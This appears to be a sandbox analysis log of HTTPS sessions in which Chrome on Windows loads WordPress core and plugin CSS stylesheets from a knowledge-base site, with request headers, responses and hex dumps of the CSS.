2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 2d 70 61 74 74 65 72 6e 73 2d 6c 69 73 74 5f 5f 69 74 65 6d 2d 74 69 74 6c 65 2c 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 70 61 74 74 65 72 6e 73 2d 6c 69 73 74 5f 5f 69 74 65 6d 3a 68 6f 76 65 72 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 70 61 74 74 65 72 6e 73 2d 6c 69 73 74 5f 5f 69 74 65 6d 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 29 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 6f 70 6f 76 65 72 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 70 6f 70 6f 76 65 72 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 Data Ascii: -patterns-list__item-title,.block-editor-block-patterns-list__item:hover .block-editor-block-patterns-list__item-title{color:var(--wp-admin-theme-color)}.components-popover.block-editor-block-popover{margin:0!important;pointer-events:none;position:absolut
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 20 2d 20 31 70 78 29 20 76 61 72 28 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 29 7d 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 76 61 72 69 61 74 69 6f 6e 2d 74 72 61 6e 73 66 6f 72 6d 73 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 5f 5f 74 6f 67 67 6c 65 20 73 76 67 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 7d 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 76 61 72 69 61 74 69 6f 6e 2d 74 72 61 6e 73 66 6f 72 6d 73 5f 5f 70 6f 70 6f 76 65 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 6f 70 6f 76 65 72 5f 5f 63 6f 6e 74 65 6e 74 7b 6d 69 6e 2d 77 69 64 Data Ascii: - 1px) var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;padding:0;position:absolute;right:0;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-wid
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 2d 65 64 69 74 6f 72 2d 6c 69 6e 6b 2d 63 6f 6e 74 72 6f 6c 5f 5f 73 65 61 72 63 68 2d 69 74 65 6d 2d 74 69 74 6c 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 32 65 6d 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 6c 69 6e 6b 2d 63 6f 6e 74 72 6f 6c 5f 5f 73 65 61 72 63 68 2d 69 74 65 6d 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 6c 69 6e 6b 2d 63 6f 6e 74 72 6f 6c 5f 5f 73 65 61 72 63 68 2d 69 74 65 6d 2d 74 69 74 6c 65 20 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 Data Ascii: -editor-link-control__search-item-title{display:block;font-weight:500;margin-bottom:.2em;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{background-color:transparent;color:inherit;font-weight:70
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 7d 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 6c 69 73 74 2d 76 69 65 77 2d 6c 65 61 66 5b 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 66 61 6c 73 65 5d 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 6c 69 73 74 2d 76 69 65 77 5f 5f 65 78 70 61 6e 64 65 72 20 73 76 67 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 32 73 20 65 61 73 65 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 72 65 64 75 63 65 29 7b 2e 62 6c 6f 63 6b 2d 65 Data Ascii: svg{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf[aria-expanded=false] .block-editor-list-view__expander svg{transform:rotate(0deg);transition:transform .2s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-e
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 7d 7d 2e 73 68 6f 77 2d 69 63 6f 6e 2d 6c 61 62 65 6c 73 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 74 6f 6f 6c 62 61 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 69 63 6f 6e 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 73 68 6f 77 2d 69 63 6f 6e 2d 6c 61 62 65 6c 73 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 74 6f 6f 6c 62 61 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 69 63 6f 6e 20 73 76 67 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 73 68 6f 77 2d 69 63 6f 6e 2d 6c 61 62 65 6c 73 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 62 6c 6f 63 6b 2d 74 6f 6f 6c 62 61 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 Data Ascii: lay:inline-flex}}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-butt
2025-04-15 14:03:06 UTC	10693	IN	Data Raw: 69 74 6f 72 2d 69 6e 73 65 72 74 65 72 5f 5f 6d 65 64 69 61 2d 6c 69 73 74 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 69 6e 73 65 72 74 65 72 5f 5f 6d 65 64 69 61 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 69 74 65 6d 20 2e 62 6c 6f 63 6b 2d 65 64 69 74 6f 72 2d 69 6e 73 65 72 74 65 72 5f 5f 6d 65 64 69 61 2d 6c 69 73 74 5f 5f 69 74 65 6d 2d 70 72 65 76 69 65 77 2d 6f 70 74 69 6f 6e 73 3e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 32 70 78 20 23 66 66 66 2c 30 20 30 20 30 20 76 61 72 28 2d 2d 77 70 2d 61 64 6d 69 6e 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 2d 66 6f 63 75 73 29 20 76 61 72 28 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 29 3b 6f 75 74 6c 69 6e 65 3a 32 70 78 20 Data Ascii: itor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49714	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	612	OUT	GET /wp-includes/css/dist/nux/style.min.css?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	284	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "afb-5f8cd32109f70" Accept-Ranges: bytes Content-Length: 2811 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	2811	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 63 62 61 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 2d 72 67 62 3a 30 2c 31 32 34 2c 31 38 36 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 3a 23 30 30 36 62 61 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 2d 2d 72 67 62 3a 30 2c 31 30 37 2c 31 36 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 3a 23 30 30 35 61 38 37 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 2d 2d 72 67 62 3a 30 2c 39 30 2c 31 33 35 3b 2d 2d 77 Data Ascii: :root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49711	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	624	OUT	GET /wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	283	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "20d-5f8cd3210af10" Accept-Ranges: bytes Content-Length: 525 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	525	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 63 62 61 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 2d 72 67 62 3a 30 2c 31 32 34 2c 31 38 36 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 3a 23 30 30 36 62 61 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 2d 2d 72 67 62 3a 30 2c 31 30 37 2c 31 36 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 3a 23 30 30 35 61 38 37 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 2d 2d 72 67 62 3a 30 2c 39 30 2c 31 33 35 3b 2d 2d 77 Data Ascii: :root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49718	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	615	OUT	GET /wp-includes/css/dist/editor/style.min.css?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	286	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "463c-5f8cd32109f70" Accept-Ranges: bytes Content-Length: 17980 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 63 62 61 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 2d 72 67 62 3a 30 2c 31 32 34 2c 31 38 36 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 3a 23 30 30 36 62 61 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 2d 2d 72 67 62 3a 30 2c 31 30 37 2c 31 36 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 3a 23 30 30 35 61 38 37 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 2d Data Ascii: @charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20-
2025-04-15 14:03:06 UTC	1596	IN	Data Raw: 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 33 30 2c 33 30 2c 33 30 2c 2e 36 32 29 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 65 64 69 74 6f 72 2d 70 6f 73 74 2d 76 69 73 69 62 69 6c 69 74 79 5f 5f 66 69 65 6c 64 73 65 74 20 2e 65 64 69 74 6f 72 2d 70 6f 73 74 2d 76 69 73 69 62 69 6c 69 74 79 5f 5f 70 61 73 73 77 6f 72 64 20 2e 65 64 69 74 6f 72 2d 70 6f 73 74 2d 76 69 73 69 62 69 6c 69 74 79 5f 5f 70 61 73 73 77 6f 72 64 2d 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 3a 2d 6d 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 33 30 2c 33 30 2c 33 30 2c 2e 36 32 29 7d 2e 65 64 69 74 6f 72 2d 70 6f 73 74 2d 74 72 61 73 68 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 66 Data Ascii: eholder{color:rgba(30,30,30,.62);opacity:1}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.editor-post-trash.components-button{display:f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49721	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	626	OUT	GET /wp-content/plugins/heroic-glossary/dist/blocks.style.build.css HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	284	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:50:03 GMT ETag: "63e-5f82a1aa9f0ec" Accept-Ranges: bytes Content-Length: 1598 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	1598	IN	Data Raw: 2e 68 67 2d 67 6c 6f 73 73 61 72 79 20 2a 2c 2e 68 67 2d 67 6c 6f 73 73 61 72 79 20 2a 3a 3a 62 65 66 6f 72 65 2c 2e 68 67 2d 67 6c 6f 73 73 61 72 79 20 2a 3a 3a 61 66 74 65 72 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 69 6e 69 74 69 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 68 67 2d 67 6c 6f 73 73 61 72 79 20 2e 68 67 2d 67 6c 6f 73 73 61 72 79 5f 5f 68 65 61 64 65 72 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 68 67 2d 67 6c 6f 73 73 61 72 79 2e 69 73 2d 73 74 79 6c 65 2d 62 6f 78 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 70 61 64 64 69 6e 67 3a 34 72 65 6d 7d 2e 68 67 2d 67 6c 6f 73 73 61 72 79 2e 69 73 Data Ascii: .hg-glossary ,.hg-glossary ::before,.hg-glossary *::after{word-break:initial;-webkit-box-sizing:border-box;box-sizing:border-box}.hg-glossary .hg-glossary__header{margin:0 0 1em}.hg-glossary.is-style-boxed{background:#fafafa;padding:4rem}.hg-glossary.is

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49722	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	649	OUT	GET /wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-styles.css?ver=1681771414 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	286	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:43:34 GMT ETag: "27e0-5f98febbb6318" Accept-Ranges: bytes Content-Length: 10208 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	10208	IN	Data Raw: 2f 2a 2a 20 4c 6f 61 64 73 20 62 6c 6f 63 6b 20 73 74 79 6c 65 20 6d 6f 64 75 6c 65 73 20 2a 2a 2f 0a 2f 2a 2a 20 6d 65 73 73 61 67 65 73 20 2a 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 68 62 2d 6d 65 73 73 61 67 65 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 65 6d 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 37 46 36 46 30 3b 20 7d 0a 20 20 2e 77 70 2d 62 6c 6f 63 6b 2d 68 62 2d 6d 65 73 73 61 67 65 2e 77 70 2d 62 6c 6f 63 6b 2d 68 62 2d 6d 65 73 73 61 67 65 2d 2d 77 69 74 68 69 63 6f 6e 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 2e 2e 2f 2e 2e 2f 69 6d 67 2f 63 68 65 63 6b 2d Data Ascii: / Loads block style modules // messages /.wp-block-hb-message { padding: 1em; border-radius: 5px; min-height: 18px; background: #E7F6F0; } .wp-block-hb-message.wp-block-hb-message--withicon { background-image: url("../../img/check-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49724	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	650	OUT	GET /wp-content/plugins/heroic-table-of-contents/dist/blocks.style.build.css?ver=1680234601 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	284	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:50:01 GMT ETag: "a7b-5f82a1a8c3777" Accept-Ranges: bytes Content-Length: 2683 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	2683	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 68 74 2d 62 6c 6f 63 6b 2d 74 6f 63 20 2e 68 74 5f 74 6f 63 5f 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 68 74 2d 62 6c 6f 63 6b 2d 74 6f 63 5b 64 61 74 61 2d 68 74 6f 63 2d 73 74 61 74 65 3d 22 65 78 70 61 6e 64 65 64 22 5d 20 2e 68 74 6f 63 5f 5f 69 74 65 6d 73 77 72 61 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 65 6d 3b 6f 70 61 63 69 74 79 3a 31 3b 6d 61 78 2d 68 65 69 67 68 74 3a 39 39 39 39 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 68 74 2d 62 6c 6f 63 6b 2d 74 6f 63 5b 64 61 74 61 2d 68 74 6f 63 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 5d 20 2e 68 74 6f 63 5f 5f 69 74 65 6d 73 77 72 61 70 7b 6f 70 61 63 69 74 79 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 Data Ascii: .wp-block-ht-block-toc .ht_toc_placeholder{font-size:18px}.wp-block-ht-block-toc[data-htoc-state="expanded"] .htoc__itemswrap{margin-top:1em;opacity:1;max-height:9999px}.wp-block-ht-block-toc[data-htoc-state="closed"] .htoc__itemswrap{opacity:0;max-height

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49725	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	612	OUT	GET /wp-includes/css/classic-themes.min.css?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	283	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Thu, 30 Mar 2023 18:41:16 GMT ETag: "123-5f8227011ac22" Accept-Ranges: bytes Content-Length: 291 Vary: Accept-Encoding Connection: close Content-Type: text/css
